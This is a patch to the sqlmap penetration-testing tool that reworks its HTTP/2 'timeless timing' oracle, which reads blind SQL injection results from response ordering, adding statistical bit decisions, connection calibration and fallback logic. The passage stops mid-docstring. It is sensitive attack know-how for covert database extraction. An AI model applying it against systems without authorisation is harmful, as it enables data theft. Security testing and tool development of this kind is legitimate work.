From 7b8bf447a01fc6c60cbd2966d3cb8b9393c59fd2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 7 Aug 2026 13:13:48 +0200 Subject: [PATCH] Stabilization of --timeless --- lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/request/connect.py | 69 +++-- lib/request/http2.py | 18 ++ lib/request/timeless.py | 666 +++++++++++++++++++++++++++------------- tests/test_timeless.py | 435 ++++++++++++++++++++++++++ 6 files changed, 955 insertions(+), 236 deletions(-) create mode 100644 tests/test_timeless.py diff --git a/lib/core/option.py b/lib/core/option.py index b01eb9be880..f216ab11e14 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2357,6 +2357,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.technique = None kb.timeless = None # active HTTP/2 timeless-timing oracle (lib/request/timeless.py) or None kb.timelessHinted = False # whether the "target speaks HTTP/2 -> try --timeless" nudge was shown (once/run) + kb.timelessRestore = None # classic time-based vector to re-forge stragglers onto after disengaging kb.tempDir = None kb.testMode = False kb.testOnlyCustom = False diff --git a/lib/core/settings.py b/lib/core/settings.py index 966483adc99..bc1d165fdb0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.8.7" +VERSION = "1.10.8.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 0d25307bc64..0260d79aa4f 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -722,13 +722,12 @@ class _(dict): if conf.http2: from lib.request.http2 import open_url as http2OpenUrl + from lib.request.http2 import proxy_tuple - h2proxy = None - if conf.proxy: - _proxyParts = _urllib.parse.urlsplit(conf.proxy if "://" in conf.proxy else "http://%s" % conf.proxy) - if (_proxyParts.scheme or "").lower().startswith("socks"): - raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)") - h2proxy = (_proxyParts.hostname, _proxyParts.port or 8080, conf.proxyCred or None) + try: + h2proxy = proxy_tuple(conf.proxy, conf.proxyCred) + except ValueError: + raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)") try: conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy) @@ -1152,6 +1151,15 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent # so its sentinel-bracketed comparison can be negated to build the symmetric-oracle pair. timelessOrigValue = value if (timeBasedCompare and kb.get("timeless") is not None) else None + # Timeless disengaged mid-value: bisection froze its comparison template from the heavy (no-delay) + # vector when this value started, so it keeps forging heavy payloads until it builds the next one - + # and wall-clock comparison reads every one of them as False. Re-forge those stragglers onto the + # restored vector. Only fires while such a payload is actually in flight (it must still carry the + # timeless sentinels), so it is a no-op on any ordinary time-based scan. + if timeBasedCompare and value and kb.get("timelessRestore") and kb.get("timeless") is None: + from lib.request.timeless import restoreClassicValue + value = restoreClassicValue(value, kb.timelessRestore) or value + get = None post = None cookie = None @@ -1643,6 +1651,18 @@ def _randomizeParameter(paramString, randomParameter): elif postUrlEncode: post = urlencode(post, spaceplus=kb.postSpaceToPlus) + # The timeless path returns before the ordinary send, so run the '--safe-url'/'--safe-req' keep-alive + # for it too - a long extraction otherwise loses the session it depends on. Not under buildOnly: + # that is the timeless oracle assembling the very requests of this comparison, and counting each of + # them would fire the safe request several times per bit. + if (conf.safeFreq or 0) > 0 and not buildOnly: + kb.queryCounter += 1 + if kb.queryCounter % conf.safeFreq == 0: + if conf.safeUrl: + Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) + elif kb.safeReq: + Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers) + # When the timeless oracle is engaged (by action() at the start of extraction, so the heavy vector # is in place before any payload is built), a boolean comparison is answered by relative HTTP/2 # response order instead of wall-clock timing - orders of magnitude faster and jitter-immune, and @@ -1650,25 +1670,38 @@ def _randomizeParameter(paramString, randomParameter): # as it would be sent (buildOnly) and the bit is read from a coalesced pair. Not engaged -> timing. if timeBasedCompare and kb.get("timeless") is not None: from lib.request.timeless import CONNECTIVITY_ERRORS + from lib.request.timeless import TimelessUnusable + from lib.request.timeless import disengage from lib.request.timeless import negatePayload # Build the condition and negation requests through the SAME path (queryPage buildOnly on the # raw pre-placement value) so the pair differs ONLY by the negated comparison - building cond # from the already-placed uri/get/post while neg goes through fresh placement would make them # non-corresponding and flip the order. negValue = negatePayload(timelessOrigValue) - condSpec = Connect.queryPage(timelessOrigValue, place=place, buildOnly=True) - negSpec = Connect.queryPage(negValue, place=place, buildOnly=True) if negValue is not None else None try: + if negValue is None: + # No sentinels (a tamper script mangled them, or a non-timeless vector slipped through): + # the symmetric oracle cannot be built, and there is no calibrated alternative reading. + raise TimelessUnusable("payload carries no negatable comparison") + condSpec = Connect.queryPage(timelessOrigValue, place=place, buildOnly=True) + negSpec = Connect.queryPage(negValue, place=place, buildOnly=True) return kb.timeless.readBitFromSpecs(condSpec, negSpec) except CONNECTIVITY_ERRORS as ex: - # The oracle's own per-pair retries (see _pairOrder) are exhausted - the target has stopped - # negotiating HTTP/2 altogether (e.g. a load-balanced backend that only some nodes speak it - # on), not just dropped one connection. Disengage (restores the classic time-based vector) - # and fall through below to the normal wall-clock comparison instead of crashing the scan. - from lib.request.timeless import disengage - warnMsg = "HTTP/2 timeless timing lost connectivity ('%s'). Falling back to classic time-based" % getSafeExString(ex) + # Either the oracle can no longer be trusted (a fresh connection failed calibration, the + # responses drifted off the calibrated control) or the target stopped negotiating HTTP/2 + # altogether. Disengage - which restores the classic time-based vector - and answer this + # comparison the wall-clock way instead of crashing the scan. The payload in flight was + # forged from the heavy (millisecond) vector, so it has to be re-forged onto the restored + # one first: re-sending it as-is would read False whatever the truth. + warnMsg = "HTTP/2 timeless timing is no longer reliable ('%s'). Falling back to classic time-based" % getSafeExString(ex) singleTimeWarnMessage(warnMsg) disengage() + # Re-run this comparison the wall-clock way. The payload in flight was forged from the + # heavy (millisecond) vector, so re-sending it as-is would read False whatever the truth - + # the straggler rewrite at the top of queryPage puts it back on the restored vector, the + # same way it will handle the rest of this value. + if kb.get("timelessRestore"): + return Connect.queryPage(timelessOrigValue, place=place, content=content, getRatioValue=getRatioValue, silent=silent, method=method, timeBasedCompare=timeBasedCompare, noteResponseTime=noteResponseTime, auxHeaders=auxHeaders, response=response, raise404=raise404, removeReflection=removeReflection, disableTampering=disableTampering, ignoreSecondOrder=ignoreSecondOrder) if timeBasedCompare and not conf.disableStats: if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES: @@ -1712,14 +1745,6 @@ def _randomizeParameter(paramString, randomParameter): warnMsg += "10 or more)" logger.critical(warnMsg) - if (conf.safeFreq or 0) > 0: - kb.queryCounter += 1 - if kb.queryCounter % conf.safeFreq == 0: - if conf.safeUrl: - Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) - elif kb.safeReq: - Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers) - start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: diff --git a/lib/request/http2.py b/lib/request/http2.py index 289b4dbaca4..7b787f90a56 100644 --- a/lib/request/http2.py +++ b/lib/request/http2.py @@ -1557,6 +1557,24 @@ def _quote_target_component(value, safe): return quote(value, safe=safe) +def proxy_tuple(proxy, cred=None): + """Convert a sqlmap '--proxy' value into the (host, port, cred) tuple the `proxy` parameter of this + client expects. Returns None when unset. SOCKS is not supported by the native client, so it raises + ValueError and leaves it to the caller to decide how to surface that (hard error / skip the feature). + + >>> proxy_tuple("http://127.0.0.1:8080") + ('127.0.0.1', 8080, None) + >>> proxy_tuple("127.0.0.1") + ('127.0.0.1', 8080, None) + """ + if not proxy: + return None + parts = urlsplit(proxy if "://" in proxy else "http://%s" % proxy) + if (parts.scheme or "").lower().startswith("socks"): + raise ValueError("native HTTP/2 client does not support SOCKS proxies") + return (parts.hostname, parts.port or 8080, cred or None) + + def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redirects=True, max_redirects=10, proxy=None, verify=False, ssl_context=None): req_headers = headers or {} diff --git a/lib/request/timeless.py b/lib/request/timeless.py index 619ddfc347a..ac23fe18356 100644 --- a/lib/request/timeless.py +++ b/lib/request/timeless.py @@ -6,23 +6,38 @@ """ # HTTP/2 "timeless timing" oracle (Van Goethem et al., USENIX Security 2020) built on the native -# client's exchange_pair() primitive (lib/request/http2.py). Two requests are coalesced into a single -# TCP write and multiplexed on one connection; because they share the packet and the path, network -# jitter hits both equally and cancels, so the RELATIVE order in which their responses complete reflects -# only the server-side processing delta. That lets a millisecond (or sub-ms) difference in query work be -# read that absolute wall-clock timing, drowned by jitter, cannot resolve - and it needs no SLEEP: the -# NATURAL execution-time gap between a true and a false boolean branch is signal enough on most engines. +# client's exchange_pair() primitive (lib/request/http2.py). Two requests are multiplexed on one +# connection and handed to the kernel in a single application-level write; because they travel the same +# path at (near) the same instant, network jitter hits both alike and largely cancels, so the RELATIVE +# order in which their responses complete tracks the server-side processing delta far more tightly than +# absolute wall-clock timing can. That lets a millisecond-scale difference in query work be read - and it +# needs no SLEEP: the NATURAL execution-time gap between a true and a false boolean branch is signal +# enough on most engines. (A single sendall() is not a guarantee of packet-level coalescing, nor of +# concurrent server-side handling - which is exactly why nothing here is applied unmeasured.) # # The oracle is only valid when the target processes the two streams CONCURRENTLY; a serializing # front-proxy makes order track arrival, not work. calibrate() detects that (and estimates the readable # delta) so the caller never applies the oracle blind - it falls back to classic time-based instead. +# Calibration is re-run on EVERY connection the oracle opens (a load balancer can hand a later connection +# to a serializing node) and periodically re-checked for drift, and each read validates that both streams +# came back with the response status calibration saw - a WAF block, an expired session or an errored +# primitive can otherwise masquerade as a timing vote. +# +# LIMITS: a pair is exchanged on a dedicated connection, outside the urllib stack, so the response-side +# pipeline (Set-Cookie, redirect policy, retry-on-content, rate-limit backoff, traffic logging) does not run +# for it - only '--safe-url'/'--safe-req', which queryPage() applies to this path too. That is bounded, not +# silent: any of those conditions changes the response status, which the calibrated-status check turns into +# a disengage-and-fall-back rather than a wrong bit. +import math import socket import ssl import threading +import time from lib.core.enums import DBMS from lib.request.http2 import _H2Connection +from lib.request.http2 import _UnprocessedStream # Serializes the one-shot autoEngage() so concurrent worker threads never double-calibrate/double-engage. _engageLock = threading.Lock() @@ -30,10 +45,18 @@ # Transport-level failures that mean "this connection/attempt is unusable" - covers a mid-exchange drop # (GOAWAY, reset) as well as a failed (re)connect, including the h2 client's own IOError when the server # does not negotiate ALPN 'h2' on a fresh socket (seen on backends that speak h2 inconsistently, e.g. only -# some nodes behind a load balancer). Shared by _pairOrder (per-pair retry) and connect.py (the give-up path). +# some nodes behind a load balancer). Used by connect.py as the give-up path: anything reaching it means +# the oracle cannot continue, so the scan disengages and resumes on classic time-based. CONNECTIVITY_ERRORS = (socket.error, ssl.SSLError, IOError) +class TimelessUnusable(IOError): + """The oracle cannot produce a trustworthy bit on this target any more (a fresh connection failed + calibration, the responses stopped matching the calibrated control, ...). Derives from IOError so + connect.py's CONNECTIVITY_ERRORS handler disengages and falls back to classic time-based rather + than the scan continuing on a channel that is no longer known-good.""" + + def buildConditionPair(condition, heavy, cheap="0"): """Turn a boolean `condition` (the same comparison bisection injects at INFERENCE_MARKER, e.g. 'ORD(...)>64') into the two INFERENCE expressions the timeless oracle needs: one that makes the DB @@ -57,98 +80,165 @@ def buildConditionPair(condition, heavy, cheap="0"): return condExpr, negExpr -def _pairOrder(connSource, reqA, reqB, timeout, retries=2): - """Send reqA and reqB as one coalesced pair; return the stream id that finished FIRST plus the two - stream ids in send order (reqA got the lower id). +def _pairOrder(connSource, reqA, reqB, timeout, retries=2, expectStatus=None): + """Send reqA and reqB as one coalesced pair; return (first, loSid, hiSid, status) - the stream id that + finished FIRST, the two stream ids in send order (reqA got the lower id) and the shared HTTP status. `connSource` is either a live _H2Connection or a zero-arg callable returning one. The callable form - lets a dropped connection be replaced transparently and the pair re-sent: a long extraction routinely - outlives a single HTTP/2 connection (the server retires it with GOAWAY after its per-connection request - cap), and a coalesced boolean-read pair is idempotent, so re-sending it on a fresh connection is safe. - Opening that fresh connection is retried the same way - it can fail just like an in-progress exchange - (including ALPN renegotiation failing on the new socket). A raw connection (used by calibration and the - self-test) is not retried - it simply raises.""" + lets a connection that the server retired be replaced transparently and the pair re-sent - a long + extraction routinely outlives one HTTP/2 connection (GOAWAY past the per-connection request cap). + + REPLAY SAFETY: a coalesced pair is NOT blindly idempotent (the injection point can sit in a POST, and + an application may count/mutate on every hit), so only failures the peer PROVED left the streams + unprocessed are re-sent - that is exactly the h2 client's _UnprocessedStream (GOAWAY above + Last-Stream-ID / REFUSED_STREAM, see RFC 9113 6.8). A failure while OPENING the replacement connection + is retried too (nothing was sent yet). Everything else - protocol/compression errors, an ambiguous + mid-exchange drop, a deterministic header error - raises immediately: guessing wrong there either + re-runs a state-changing request or loops on an unfixable condition. + + RESPONSE VALIDATION: the two responses are not thrown away. Both streams must carry the SAME status, + and (when `expectStatus` is given - the status calibration measured) that status. Otherwise a WAF 403, + an expired-session 401/302, a rate-limit 429 or a 500 from a primitive the server version rejects would + be read as a perfectly good timing vote. A mismatch is re-sent a couple of times (transient blip) and + then raises TimelessUnusable so the scan falls back instead of extracting from noise.""" attempt = 0 while True: conn = None try: conn = connSource() if callable(connSource) else connSource - order, _results = conn.exchange_pair([reqA, reqB], timeout) - return order[0], conn.next_sid - 4, conn.next_sid - 2 + except TimelessUnusable: # a definitive verdict (failed calibration), not a blip + raise except CONNECTIVITY_ERRORS: - if conn is not None: - conn.close() # retire; a callable source reopens on the next pass attempt += 1 if not callable(connSource) or attempt > retries: raise + continue - -def readBit(connSource, reqCond, reqNeg, votes=5, timeout=30): - """Read one boolean by the cond-last FRACTION over symmetric pairs, ESCALATING when the fraction is - ambiguous (load-degraded). `connSource` is a live connection or a factory (see _pairOrder) so a - connection dropped mid-vote (e.g. server GOAWAY) is replaced and that pair re-sent transparently. + try: + order, results = conn.exchange_pair([reqA, reqB], timeout) + except _UnprocessedStream: + conn.close() # retire; a callable source reopens on the next pass + attempt += 1 + if not callable(connSource) or attempt > retries: + raise + continue + except CONNECTIVITY_ERRORS: + conn.close() + raise + + loSid, hiSid = conn.next_sid - 4, conn.next_sid - 2 + status = results[loSid][0] + if status == results[hiSid][0] and expectStatus in (None, status): + return order[0], loSid, hiSid, status + + attempt += 1 + if attempt > retries: + raise TimelessUnusable("response status drifted from the calibrated control (%s/%s, expected %s)" + % (results[loSid][0], results[hiSid][0], expectStatus)) + + +# Wald sequential probability ratio test (SPRT) parameters for readBit(). The two hypotheses are the two +# populations a cond-last vote can be drawn from: +# H1 (bit TRUE) - reqCond runs the heavy branch, so it finishes last with probability ~SPRT_P_TRUE +# H0 (bit FALSE) - reqCond is the cheap one and finishes last with probability ~0 (real false / NULL +# end-of-string) or ~0.5 (a DBMS that ERRORS past the end of a string, e.g. CockroachDB, +# where both requests error and the order is a coin flip) +# H0 is therefore modelled at the WORST of those, p=0.5 - the boundary the test has to hold against, and +# the reason the decision line cannot simply sit at 0.5. Both error rates are bounded by SPRT_ERROR by +# construction, which the old "fraction >= 0.8 -> True, <= 0.5 -> False" rule was not: it could return +# FALSE the moment a single late vote dragged the running fraction back to 0.5 (3/5 -> 3/6 decided at six +# votes despite a cap of 25), giving a genuine but load-degraded TRUE bit a double-digit miss rate. +# H1 is picked from the calibration the target actually measured, exactly as the old rule picked its vote +# count from it. On a target whose tuning sweep came back UNANIMOUS the votes really are deterministic: +# measured live (MariaDB 11.8 over HTTP/2), 45 bits / 1350 votes idle and 188 bits / 5640 votes under 4x +# self-induced load produced 1.00 on every TRUE bit and 0.00 on every FALSE one - not one disagreeing vote +# in 6990. That is what the separation gate buys (MIN_HEAVY_MS x loadFactor and MIN_SEPARATION_FRAC force a +# cost whose delta dwarfs intra-pair jitter), so modelling H1 near 1.0 there is a measurement, not +# optimism - and it keeps a bit at the same ~5 pairs the old fixed rule spent. A sweep that came back +# BELOW unanimous says the delta is marginal, and gets the conservative model plus a bigger minimum sample. +SPRT_P_TRUE = 0.85 # conservative model: a target that calibrated below unanimous +SPRT_P_TRUE_CLEAN = 0.97 # ... and one whose tuning sweep did not miss a single trial +SPRT_ERROR = 0.02 # bound on BOTH the false-positive and the false-negative rate +SPRT_CAP_FACTOR = 16 # ceiling, in multiples of the minimum sample, for an undecided bit +# Realised error/cost per bit, 20k simulated bits per operating point (`p` = per-vote cond-last probability): +# p=1.00 p=0.95 p=0.90 p=0.80 p=0.50 (eos coin flip) +# clean (0.97, 4) 0.0% / 6 1.9% / 8 10% / 10 49% / 12 1.8% / 6 +# marginal (0.85, 8) 0.0% / 8 0.0% / 10 0.1% / 12 5.1% / 21 1.4% / 14 +# old rule 0.0% / 5 - - ~15% / 5 ~20% / 5 +# Both settings crush the end-of-string coin flip that used to invent trailing characters (~20% -> ~1.5%), +# which is the failure this decision engine exists to prevent. The clean setting trades tolerance of a +# degraded p for that, so it is only granted when calibration was perfect AND every connection has to +# prove the same unanimity before it may read a bit (see VERIFY_THRESHOLD_CLEAN) - a connection that +# cannot is not in the regime the model describes, and falling back to classic time-based is the correct +# answer for it rather than reading bits at 49%. + + +def readBit(connSource, reqCond, reqNeg, votes=4, timeout=30, expectStatus=None, pTrue=SPRT_P_TRUE): + """Read one boolean from symmetric pairs by a sequential likelihood-ratio test on the cond-last votes. + `connSource` is a live connection or a factory (see _pairOrder) so a connection the server retires + mid-read is replaced and that pair re-sent transparently. reqCond does the heavy work iff the guessed condition is TRUE; reqNeg does the SAME heavy work iff the condition is FALSE (it carries the negated condition). Exactly one runs heavy, so whichever finishes - LAST names the answer. Each vote alternates which stream id carries reqCond (cancels lower-id-first bias) - and counts how often reqCond finished last: - - real TRUE -> reqCond (heavy) finishes last almost every vote -> fraction ~1.0 - - real FALSE -> reqNeg (heavy) finishes last -> fraction ~0.0 - - END-OF-STRING -> the comparison is NULL, and negatePayload's NULL-safe negation makes reqNeg run - heavy on that NULL, so reqCond finishes first -> fraction ~0.0 (on a DBMS that instead ERRORS past - the end - CockroachDB - both requests error and it is a ~0.5 coin flip). - Decision: fraction >= 0.8 -> TRUE; <= 0.5 -> FALSE (covers real-false ~0, NULL end-of-string ~0, and - CockroachDB error end-of-string ~0.5, so the string terminates cleanly instead of inventing phantom - trailing characters). The 0.5-0.8 band is where a genuine TRUE bit lands when self-induced load (e.g. - --threads: N value-parallel workers => ~Nx heavy queries contend and add jitter, though calibration was - single-threaded) drags its fraction down; that is NOT a mean shift but variance, so we ESCALATE - keep - voting up to a cap and average it out - which recovers it above 0.8 without lowering the threshold (a - lower threshold would misread CockroachDB's ~0.5 error-eos as a character). SYMMETRIC, so the base query - time cancels - robust where absolute pair-time, gap, and always-heavy-reference signals are confounded.""" - condLast, i = 0, 0 - cap = votes * 5 # escalation ceiling for ambiguous (load-degraded) bits + LAST names the answer. Votes alternate which stream id carries reqCond, and a decision is only taken on + an EVEN vote count, so both orderings contribute equally and lower-id-first bias cancels exactly. + + Each vote updates the log-likelihood ratio of H1 (TRUE, cond-last with probability `pTrue`) against + H0 (FALSE, cond-last with probability up to 0.5 - see the constants above); crossing +/-log((1-e)/e) + decides with both error rates bounded by SPRT_ERROR. This is also CHEAPER than a fixed sample on the + common case: an unambiguous FALSE (every vote cond-first) settles in the minimum sample, an unambiguous + TRUE shortly after, while an ambiguous bit - where --threads workers contend and drag the fraction into + the middle - simply keeps voting instead of guessing. Reaching the cap without a crossing decides by the + likelier hypothesis. SYMMETRIC, so the base query time cancels - robust where absolute pair-time, gap, + and always-heavy-reference signals are confounded.""" + bound = math.log((1.0 - SPRT_ERROR) / SPRT_ERROR) + stepLast = math.log(pTrue / 0.5) # a cond-last vote: evidence for TRUE + stepFirst = math.log((1.0 - pTrue) / 0.5) # a cond-first vote: (stronger) evidence for FALSE + minVotes = max(2, votes + votes % 2) + cap = minVotes * SPRT_CAP_FACTOR + llr, i = 0.0, 0 while True: if i % 2 == 0: - first, loSid, _hiSid = _pairOrder(connSource, reqCond, reqNeg, timeout) - condSid = loSid + first, condSid, _hiSid, _status = _pairOrder(connSource, reqCond, reqNeg, timeout, expectStatus=expectStatus) else: - first, _loSid, hiSid = _pairOrder(connSource, reqNeg, reqCond, timeout) - condSid = hiSid - if first != condSid: # reqCond finished last -> it ran heavy -> vote says TRUE - condLast += 1 + first, _loSid, condSid, _status = _pairOrder(connSource, reqNeg, reqCond, timeout, expectStatus=expectStatus) + llr += stepLast if first != condSid else stepFirst # cond finished last -> it ran heavy i += 1 - if i < votes: # gather a minimum sample before deciding + if i % 2 or i < minVotes: # decide only on a balanced sample, never below the minimum continue - fraction = condLast / float(i) - if fraction >= 0.8: + if llr >= bound: return True - if fraction <= 0.5: + if llr <= -bound: return False - if i >= cap: # still ambiguous after escalating -> decide by the same threshold - return fraction >= 0.8 - - -def calibrate(conn, reqSlow, reqFast, trials=40, threshold=0.9, timeout=30, progress=None): - """Decide whether the target is usable for the timeless oracle. Sends a KNOWN-asymmetric pair - (reqSlow does real extra work, reqFast short-circuits) in BOTH stream-id orderings; on a concurrent - backend the slow request finishes last regardless of its id. Returns (usable, confidence) where - confidence is the fraction of trials in which the slow request finished last. Below `threshold` the - backend is serializing (or the delta is unreadable) -> caller must NOT use the oracle. `progress`, if - given, is called once per trial so the caller can stream a progress indicator.""" - slowLast = 0 + if i >= cap: + return llr > 0.0 + + +def calibrate(conn, reqSlow, reqFast, trials=40, threshold=0.9, timeout=30, progress=None, deadline=None, expectStatus=None): + """Decide whether `conn` is usable for the timeless oracle. Sends a KNOWN-asymmetric pair (reqSlow does + real extra work, reqFast short-circuits) in BOTH stream-id orderings; on a concurrent backend the slow + request finishes last regardless of its id. Returns (usable, confidence, status) where confidence is the + fraction of trials in which the slow request finished last and status is the HTTP status both streams + consistently returned (the control every later read is validated against). Below `threshold` the backend + is serializing (or the delta is unreadable) -> caller must NOT use the oracle. `progress`, if given, is + called once per trial so the caller can stream a progress indicator. `deadline` is an absolute + time.time() budget: a target that answers just slowly enough could otherwise keep calibration alive + indefinitely, since the per-socket timeout only bounds one exchange.""" + slowLast, status = 0, None for i in range(trials): + if deadline is not None and time.time() > deadline: + return False, 0.0, status if i % 2 == 0: - first, loSid, _hiSid = _pairOrder(conn, reqSlow, reqFast, timeout) - slowSid = loSid + first, slowSid, _hiSid, status = _pairOrder(conn, reqSlow, reqFast, timeout, expectStatus=expectStatus) else: - first, _loSid, hiSid = _pairOrder(conn, reqFast, reqSlow, timeout) - slowSid = hiSid + first, _loSid, slowSid, status = _pairOrder(conn, reqFast, reqSlow, timeout, expectStatus=expectStatus) if first != slowSid: slowLast += 1 + expectStatus = status # from the first pair on, demand a stable response class if progress is not None: progress() confidence = slowLast / float(trials) if trials else 0.0 - return (confidence >= threshold), confidence + return (confidence >= threshold), confidence, status def connect(host, port=443, proxy=None, timeout=30): @@ -157,99 +247,192 @@ def connect(host, port=443, proxy=None, timeout=30): return _H2Connection(host, port, proxy, timeout) +def proxyProfile(): + """The HTTP-proxy tuple the native h2 client needs for the current run, or None when there is none. + Every timeless connection must go through it: the client calls socket.create_connection() itself, so + it is reached by neither the urllib proxy handlers nor the socks module-wrapping '--tor' installs - + connecting anyway would send the real source address straight to the target. SOCKS the native client + cannot speak at all, so that raises ValueError and timeless declines instead of bypassing it.""" + from lib.core.data import conf + from lib.request.http2 import proxy_tuple + + if conf.tor and not conf.proxy: # SOCKS Tor: only the httplib socket is wrapped, ours is not + raise ValueError("native HTTP/2 client does not support SOCKS proxies") + return proxy_tuple(conf.proxy, conf.proxyCred) + + +# Per-connection re-calibration of a worker/replacement connection. Shorter than the initial tuning sweep +# (the cost is already picked - this only has to prove that THIS connection's backend handles the two +# streams concurrently and answers with the calibrated status) but strict, because a connection that quietly +# serializes returns wrong bits without ever raising. +VERIFY_TRIALS = 10 +VERIFY_THRESHOLD = 0.9 +# ... and the bar a connection must clear to be read at the CLEAN model (SPRT_P_TRUE_CLEAN): unanimous, the +# same thing the tuning sweep saw and the same thing 6990 live votes produced. Not a harsh bar on a target +# that belongs in that regime - and a connection that misses it is precisely one the clean model would +# misread, so rejecting it (scan falls back to classic time-based) is the answer, not admitting it. +VERIFY_THRESHOLD_CLEAN = 1.0 +# Pairs sent on one connection before its control probe is re-run, to catch runtime drift (a backend that +# starts serializing under load, a node swapped in behind the balancer). ~100 bits apart, so the re-check +# costs ~2% of the pairs. Response-status drift needs no schedule - every pair is validated against the +# calibrated status. +VERIFY_EVERY = 500 + + class TimelessOracle(object): """The engaged timeless-timing oracle, held on kb.timeless while active. queryPage() routes every boolean comparison (timeBasedCompare requests) here instead of measuring wall-clock time: it takes the - already-assembled condition request (built via buildOnly), pairs it against a FIXED always-heavy - reference and reads the bit from response order. This reuses the entire bisection/inference/threading - stack unchanged - bisection just calls queryPage and gets a bool. + already-assembled condition request and its negation (both built via buildOnly), coalesces them into one + multiplexed pair and reads the bit from response order. This reuses the entire bisection/inference/ + threading stack unchanged - bisection just calls queryPage and gets a bool. Thread safety: each worker thread gets its OWN H2 connection (threading.local), mirroring keepalive.py and the http2 pool - streams from different threads never interleave on one socket, so parallel - per-value extraction (--threads / _threadedInferenceValues) is safe. The reference request is an - immutable spec-derived dict, so it is shared read-only across threads.""" + per-value extraction (--threads / _threadedInferenceValues) is safe. - def __init__(self, host, port, refReq, proxy=None, asymVotes=12, votes=5, timeout=30): + Every connection is calibrated BEFORE it reads a bit - the initial sweep proves one connection to one + backend node, which says nothing about the per-thread connections opened afterwards or a replacement + opened after a GOAWAY (a load balancer can route those to a node that serializes streams). The + known-asymmetric probe pair used for that, and the response status it produced, are held here and + re-checked periodically so runtime drift is caught rather than silently extracted through.""" + + def __init__(self, host, port, probeSlow, probeFast, proxy=None, votes=4, timeout=30, status=None, + pTrue=SPRT_P_TRUE, verifyThreshold=VERIFY_THRESHOLD): self.host, self.port, self.proxy = host, port, proxy - self.refReq = refReq # fixed always-heavy reference request (asymmetric tiebreak) - self.asymVotes = asymVotes # asymmetric tiebreak: fixed pairs, fraction-thresholded - self.votes = votes # symmetric: pairs per bit, cond-last fraction thresholded (readBit); - # enough votes that TRUE ~100% and end-of-string ~50% separate cleanly + self.probeSlow, self.probeFast = probeSlow, probeFast # known-asymmetric pair, for (re)calibration + self.status = status # response status calibration saw; every read is validated against it + self.votes = votes # minimum (balanced) pairs per bit before readBit's SPRT may decide + self.pTrue = pTrue # per-vote reliability modelled for a TRUE bit (from calibration) + self.verifyThreshold = verifyThreshold # bar a connection must clear to read at that model self.timeout = timeout self._local = threading.local() self._conns = [] # every opened connection, for clean teardown self._lock = threading.Lock() - self.savedTechnique = None # active technique whose vector we swapped (restored on disengage) + self._closed = False + self.savedData = None # injection data whose vector we swapped (restored on disengage) self.savedVector = None + def _verify(self, conn): + """Prove that `conn` reads bits correctly, or raise. Raising here is the safe outcome: connect.py + disengages and the scan resumes on classic time-based.""" + usable, confidence, status = calibrate(conn, self.probeSlow, self.probeFast, trials=VERIFY_TRIALS, + threshold=self.verifyThreshold, timeout=self.timeout, + expectStatus=self.status) + if not usable: + raise TimelessUnusable("connection failed timeless calibration (confidence %.2f)" % confidence) + if self.status is None: + self.status = status + + def _retire(self, conn): + """Close `conn` and forget it, so neither a reconnect nor teardown touches it again.""" + self._local.conn = None + try: + conn.close() + except Exception: + pass + with self._lock: + try: + self._conns.remove(conn) + except ValueError: + pass + def _conn(self): conn = getattr(self._local, "conn", None) - if conn is None or not conn.usable: - if conn is not None: # retire the dead one so reconnects don't leak sockets - try: - conn.close() - except Exception: - pass - with self._lock: - try: - self._conns.remove(conn) - except ValueError: - pass - conn = self._local.conn = connect(self.host, self.port, self.proxy, self.timeout) - with self._lock: - self._conns.append(conn) + reads = getattr(self._local, "reads", 0) + if conn is not None and conn.usable: + if reads < VERIFY_EVERY: + self._local.reads = reads + 1 + return conn + try: # still alive, but due a drift re-check + self._verify(conn) + except Exception: + self._retire(conn) + raise + self._local.reads = 1 + return conn + + if conn is not None: # retire the dead one so reconnects don't leak sockets + self._retire(conn) + + conn = connect(self.host, self.port, self.proxy, self.timeout) + with self._lock: + if self._closed: # disengaged while this socket was being opened + conn.close() + raise TimelessUnusable("timeless oracle was closed") + self._conns.append(conn) + try: + self._verify(conn) # never read a bit off an uncalibrated connection + except Exception: + self._retire(conn) + raise + self._local.conn, self._local.reads = conn, 1 return conn - def readBitFromSpecs(self, condSpec, negSpec=None): - """Read the bit from the assembled condition request and, when available, its negation. With a - negSpec the SYMMETRIC oracle is used (cond-last fraction over votes - base query time cancels, so it - stays reliable on heavy/noisy enumeration queries and detects end-of-string as the ~50% split). The - asymmetric-vs-reference path is only a fallback for a non-sentinel vector (no negSpec) and must not - be used for a heavy-base condition (the trivial-base reference is not comparable). Specs are the + def readBitFromSpecs(self, condSpec, negSpec): + """Read the bit from the assembled condition request and its negation, by the SYMMETRIC oracle + (cond-last votes over coalesced pairs - the base query time cancels, so it stays 